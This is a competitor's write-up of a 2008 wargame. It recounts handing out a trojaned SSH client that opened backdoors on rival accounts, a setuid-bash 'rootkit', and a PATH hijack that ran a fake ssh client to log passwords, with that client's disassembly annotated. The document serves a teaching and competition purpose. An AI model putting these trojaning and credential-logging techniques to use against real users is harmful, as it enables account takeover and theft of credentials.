

Retoros Security Whitepaper

Roothack May 16-22, 2008

Pregame

In the weeks leading up to the game, Lattera and I had been working putting together custom services, configs, and patches that would allow us to simply drop onto a machine, once updated, and have a secure environment containing our modifications with relatively little work. We decided to run completely custom services, written with vulnerabilities, as an incentive for the other teams to actually learn and attack our machine. Not wanting the other participants to simply nmap the box and look on various disclosure lists or exploit archives, we wanted them to actually learn something and develop exploits for vulnerable services.

Members

Lattera:

Lattera wrote most of the services and did all of the customization for the services we ran on the box. He was the co-captain of the team and worked his magic getting his services built and started which none of us were able to do.

Livinded:

Along with Lattera, I was the co-captain of the team and wrote the whitepaper for the game.

Plasmatonic:

Plasmatonic is a member of 0x28 thieves who played with us during the wargame helping out with setting up the box and services.

Vooduhal:

Responsible for most of the work in setting up and configuring the main box and jails. We probably would not have gotten the box updated or setup as well as it had been without him.

Z3x:

z3x was supposed to play with us however he never showed up and I didn't get in contact with him until after the game was over.

As usual, the normal SSH banner trickery was used forcing other teams to use our ssh client, which we provided, in order to connect to the box or to attack the BBS. What the other teams didn't know however was that the client was trojaned for all users who's id was not built into the binary. When ran by one of the users who's id was in the list, the client functioned normally providing the correct banner, allowing for the user to connect. All other users however would

spawn a backdoor listening on the gateway allowing us shell access to their account.

We took advantage of this as Lattera did not have time to write the networking code for the BBS¹. Instead we simply specified the BBS as the shell for a user and forced other teams to use our trojaned client if they chose to attack the service thus improving the odds of us getting access to their gateway accounts. The BBS was written with a sqlite backend and numerous overflows within the code allowing for other teams to exploit and gain access through it.

The third service chosen was a custom httpd² written by Lattera. This was a fairly secure service which was not even close to implementing most of the RFC for HTTP 1.1. It simply allowed us to serve up static pages as well as files which we wanted to make public for the other competitors. This was used to distribute information about the services as well as the compiled binary for the last service which was meant as a reverse engineering challenge for the other teams.

The fourth and last service we ran was numlogin³ written by me. The point of this service was to enter four numbers adding up to “1337”. As stated before this was meant to be a reverse engineering challenge which is why I distributed the binary. Originally I had planned to strip and statically compile it though in the end decided not to as to make it easier to figure out not thinking anyone would get it if I had.

Grace

At the beginning of the grace period I was the only one around and quickly went in to identify the OS we were given. As I logged in and saw the MOTD I became worried discovering that we had been given FreeBSD 5.5-Release. I knew that Vooduhal knew it well but didn't know how much he was going to be around during the games. I informed the rest of the team as to the OS we were given and proceeded to passive recon of the other teams as I didn't even know where to begin with updating a FreeBSD system..

Using the “w” command on the gateway as well as looking in /home and /etc/hosts I quickly put together a breakdown of the teams, their members, which box they were on, gateway accounts, and accounts which were created on their boxes. After spending about 30 minutes working on this I never again referenced it during the game and it ended up being nothing more than a waste of time.

Waking up the next morning I had discovered that Vooduhal had taken care of updating the

1 <http://retoros.org/~lattera/tbbs.tar.gz>

2 <http://retoros.org/~lattera/httpd.tar.gz>

3 <http://www.deadbytes.net/code/C/numlogin.c>

machine to FreeBSD 6.3 and was in the process of installing the ports tree. While waiting for the ports tree to finish I got in touch with Lattera and asked him to upload the code for the services to the box so that we could get them setup if he was not there. Once the ports tree had finished syncing, I went to start installing software and libraries we would need while Voodooal built jails to run the BSS and numlogin.

While the jails were building, Voodooal and I discussed how we were going to setup the services and the jails so that we could make it look as though everything was on the same box. By running the services on multiple IPs we knew it would look suspicious and other teams would realize that we were using jails or some form of virtualization. After discussing it, we came to the conclusion that we weren't going to be able to setup routing on the actual box and would have to setup the jails on their own addresses and just convince the other teams that it was all the same box. While the jails continued to build I replaced the sshd with the modified one and finished writing numlogin.

When the jails were completed I moved the sshd over to spacely and created the account that the BBS would use then setup numlogin on cogswell. Unfortunately I was unable to get Lattera's services to build and thus had to wait for him which ended up causing us to not having everything up and running properly until the next day. At the end of grace we had three services running; ssh, numlogin, and sendmail.

Open Season

While the open season looked boring for most, there was actually a lot happening behind the scenes despite the fact that we were the only box that got owned. Knowing that all of the gateway accounts have the same starting password and that z3x and Chickenan's accounts had not been used, I quickly logged in to make sure we would still have access and possibly use them for social engineering. In previous games, Team ICV had been relatively simple to social engineer information out of and thought that by using Chickenman's account we might possibly gain access to their box. Unfortunately others soon discovered that their accounts were still on default and this plan never happened.

Early in the game we discovered that our trojaned ssh client was working well, though the first person to fall victim to it, MarshallMellow from Team ICV, somehow either knew it was happening or accidentally killed the backdoor. However the damage had already been done and Lattera had gained access to his account.

```
lattera@roothack-gateway:/tmp/.`cje$ nc localhost `cat 141518Hv8zE_asdf`  
id  
uid=1016(marshallmellow) gid=1016(marshallmellow)  
groups=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44
```

(video),46(plugdev),105(scanner),107(fuse),1016(marshallmellow)

(15:28:03) **kinglattera:** :)

(15:28:17) **kinglattera:** he noticed before I could do anything, though

(15:28:22) **kinglattera:** he kicked me out

(15:28:33) **livinded:** :(

(15:28:38) **kinglattera:** but

(15:28:44) **kinglattera:** that proves that the ssh backdoor works

While looking through the /tmp directory, I came across a binary named “....result” which was owned by Beist. Having a feeling that this was either a trap or something important I gave it to Voodooal to reverse engineer and ran it hoping that might be useful. While running it before knowing what it did was in hindsight a terrible idea, it proved to be the way which we gained access to Beist's gateway account and most likely would not have happened if I had known.

[Sun May 18 2008] [16:14:12] <voodooal> Oh, it's setting up a suid root shell.

[Sun May 18 2008] [16:14:20] <voodooal> It copies /bin/bash to that file first.

[Sun May 18 2008] [16:14:50] <livinded> is it a backdoor?

[Sun May 18 2008] [16:15:20] <voodooal> Kind of. More like a really poor rootkit.

[Sun May 18 2008] [16:15:27] <voodooal> There are no network calls.

[Sun May 18 2008] [16:15:30] <livinded> so if I run it will anything happen?

[Sun May 18 2008] [16:16:05] <voodooal> Other than creating a setuid bash file. Not really. Let me finish analyzing it before you do.

[Sun May 18 2008] [16:16:18] <lattera> it'll give him a shell as your user, right?

[Sun May 18 2008] [16:16:24] <voodooal> Yep.

[Sun May 18 2008] [16:16:30] <lattera> so don't run it

Scanning the boxes for open ports it seemed that most teams were running fairly standard services that were all up to date and relatively secure. I noticed one team specifically running time and echo which I attempted to play with for a while though ultimately found nothing of interest. Attempting to overflow the echo service or find another vulnerability, I used perl and netcat to send it large amounts of data to look for any kind of abnormal result. Both of the services appeared to be fairly normal though later I was told this was not the case.

Constantly checking our backdoors we later saw a bunch of them which were owned by my users. When connecting to the backdoors however, we were greeted with access to Beist's account.

```
(13:06:44) kinglattera: lattera@roothack-gateway:/tmp/.`cje$ ls
14151MApS3j_asdf 26403QgAifJ_asdf 26441N9nEz0_asdf bash
26399jspRTe_asdf 26411MhsJik_asdf 29217ciwY8d_asdf
```

```
(13:06:45) kinglattera: omfg
```

```
(13:07:16) kinglattera: some are by you
```

```
(13:07:22) kinglattera: they're all by you
```

```
(13:07:39) kinglattera: wait
```

```
(13:07:39) kinglattera: nvm
```

```
(13:07:41) kinglattera: hahaha
```

```
(13:07:46) kinglattera: id
```

```
uid=1023(beist) gid=1024(beist)
```

```
groups=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44
(video),46(plugdev),105(scanner),107(fuse),1024(beist)
```

What we assume happened is that Beist used the suid bash created by me when I ran his “rootkit” to gain access to my account. Once access was obtained he then used it to launch our trojaned ssh client. The suid bash changed his effective id but not the real one so the files were created by me, however the id did not match when check in the ssh binary so the backdoor was created with his account. Once access was gained, I noticed a file called “absolut_password” which, when opened, contained my user name and password for our box. Immediately I thought the worst and came up with all kinds of scenarios as to how this could have been acquired, though when I discovered the true method, it was much less impressive.

Checking my .profile I saw that a line was added to it which modified my PATH to add /home/beist/vmware before anything else. This allowed him to force me to run his fake ssh client which passed the info along to our modified binary and logged my credentials in a file. Below is the disassembled binary and a writeup explaining exactly how it works. (note: sections have been cutout to shorten the code block)

```
0x0804862c <main+140>: push $0x8048999 ;search string to look for onto the stack
```

```
0x08048631 <main+145>: pushl (%eax) ;string to search through
```

```
0x08048633 <main+147>: call 0x8048450 <strstr@plt>
```

```
(gdb) x/s 0x8048999
```

```
0x8048999: "@"
```

```
0x08048638 <main+152>: add $0x10,%esp
```

```
0x0804863b <main+155>: mov %eax,-0x31c(%ebp)
```

```
0x08048641 <main+161>: cmpl $0x0,-0x31c(%ebp)
0x08048648 <main+168>: je 0x80488b1 <main+785>
0x0804864e <main+174>: mov 0xc(%ebp),%eax
0x08048651 <main+177>: add $0x4,%eax
0x08048654 <main+180>: mov (%eax),%edx
0x08048656 <main+182>: mov -0x31c(%ebp),%eax
0x0804865c <main+188>: sub %edx,%eax
0x0804865e <main+190>: mov %eax,-0xc(%ebp)
0x08048661 <main+193>: sub $0x8,%esp
0x08048664 <main+196>: mov 0xc(%ebp),%eax
0x08048667 <main+199>: add $0x4,%eax
0x0804866a <main+202>: pushl (%eax) ;string to copy
0x0804866c <main+204>: lea -0x118(%ebp),%eax ;allocate 0x118 bytes to store
0x08048672 <main+210>: push %eax ;location to copy to
0x08048673 <main+211>: call 0x80484e0 <strcpy@plt>
```

This is the first stack overflow in the binary. A user can specify a name longer than 0x118 bytes and corrupt the stack. Unfortunately this binary was not suid or sgid.

```
0x08048678 <main+216>: add $0x10,%esp
0x0804867b <main+219>: lea -0x118(%ebp),%eax
0x08048681 <main+225>: add -0xc(%ebp),%eax
0x08048684 <main+228>: movb $0x0,(%eax)
0x08048687 <main+231>: sub $0xc,%esp
0x0804868a <main+234>: push $0x2
0x0804868c <main+236>: call 0x8048460 <sleep@plt> ;sleep 2 seconds for delay
0x08048691 <main+241>: add $0x10,%esp
0x08048694 <main+244>: sub $0xc,%esp
0x08048697 <main+247>: push $0x804899b
0x0804869c <main+252>: call 0x8048480 <printf@plt> ;prompt for password
```

(gdb) x/s 0x804899b

0x804899b: "%s's password: "

0x080486a1 <main+257>: add \$0x10,%esp

0x080486a4 <main+260>: sub \$0xc,%esp

0x080486a7 <main+263>: lea -0x318(%ebp),%eax

0x080486ad <main+269>: push %eax ;

0x080486ae <main+270>: call 0x8048440 <[getpass@plt](#)> ;read password from pts

0x080486b3 <main+275>: add \$0x10,%esp

0x080486b6 <main+278>: mov %eax,-0x320(%ebp)

0x080486bc <main+284>: sub \$0x4,%esp

0x080486bf <main+287>: mov 0xc(%ebp),%eax

0x080486c2 <main+290>: add \$0x4,%eax

0x080486c5 <main+293>: pushl (%eax) ;variable location

0x080486c7 <main+295>: push \$0x80489ab ;format string

0x080486cc <main+300>: lea -0x218(%ebp),%eax

0x080486d2 <main+306>: push %eax ;location to store

0x080486d3 <main+307>: call 0x80484d0 <[sprintf@plt](#)>

Here is the second stack overflow. Sprintf() is use rather than snprintf() so not bounds are checked.

0x080486d8 <main+312>: add \$0x10,%esp

0x080486db <main+315>: sub \$0x8,%esp

0x080486de <main+318>: push \$0x80489bd ;mode to open as

0x080486e3 <main+323>: lea -0x218(%ebp),%eax

0x080486e9 <main+329>: push %eax ;file to open

0x080486ea <main+330>: call 0x80484c0 <[fopen@plt](#)> ;open file to log

0x080486ef <main+335>: add \$0x10,%esp

0x080486f2 <main+338>: mov %eax,-0x324(%ebp)

0x080486f8 <main+344>: pushl -0x320(%ebp)

```
0x080486fe <main+350>: mov  0xc(%ebp),%eax
0x08048701 <main+353>: add  $0x4,%eax
0x08048704 <main+356>: pushl (%eax) ;variable's location
0x08048706 <main+358>: push $0x80489c1 ;format string
0x0804870b <main+363>: pushl -0x324(%ebp) ;file descriptor
0x08048711 <main+369>: call 0x8048420 <fprintf@plt> ;write creds to file
0x08048716 <main+374>: add  $0x10,%esp
0x08048719 <main+377>: sub  $0xc,%esp
0x0804871c <main+380>: pushl -0x324(%ebp)
0x08048722 <main+386>: call 0x8048490 <fclose@plt> ;close file descriptor
```

Once discovering how the attack had taken place, I removed the line from my .profile, reset my current PATH, changed my passwords on the box and gateway, and used my access to Beist's home directory to archive and copy it⁴. Looking through the files, they all seemed to be variations on the two binaries I had already seen, a couple versions of bash, and a custom copy of watch.

With Beist's home directory I attempted to make deal with other teams for information though didn't get much except discovering that the binary set to launch on login from Chickman's account was a keylogger which Windo had setup. Trading for information ended up being a dead end as nothing I offered appealed to those I offered it to. As we were running out of time and ideas I secured Chickenman and z3x's account changing the password so that other teams would have no choice but to run our trojaned ssh client from their own user. Unfortunately most other teams had given up and the rest of the game was fairly uneventful.

As a way to insure our box's security, Vooduhal setup one of the jails as absolut and gave the actual host the ip of the jail. We encountered a few issues getting the services to bind to the correct addressed but eventually got everything taken care of and everything migrated to the new addresses.

While at work Windo claimed to have owned our box. Lattera and I, not having the root password with, asked Vooduhal to confirm or deny the claim. What we didn't know however was that Windo had already gained access to Vooduhal's account and used this opportunity as a way to force him to enter the root password for our box. This was then used the next day to gain control of our box and take it over.

4 <http://www.deadbytes.net/wargames/beisthome.tar.gz>

Conclusion

Despite having our box owned and not owning any of the other boxes, I will still say that this game was a huge success, at least for myself. This last week I've learned much more than any previous game and a great deal in general. Writing numlogin began to teach how to handle signals and reap dead children, dealing with forking, and dropping privs to less privileged users. I got a chance to use an operating system which I am much less familiar with while learning how to use it and many of the features which it provides, such as jails, that are not present in other operating systems. I only wish that the other teams had attempted to own the services which we had written for the game as they seemed to be fairly ignored. We spent a great deal of time writing these hoping that we could help others to learn but the only one that was successfully attacked was numlogin after Aksnowman reverse engineered it. In closing, I hope that everyone else was able to take away as much as I have from this game and I have to give props to Windo for rooting us and Beist for getting my password, even though it was mostly my stupidity that led to it.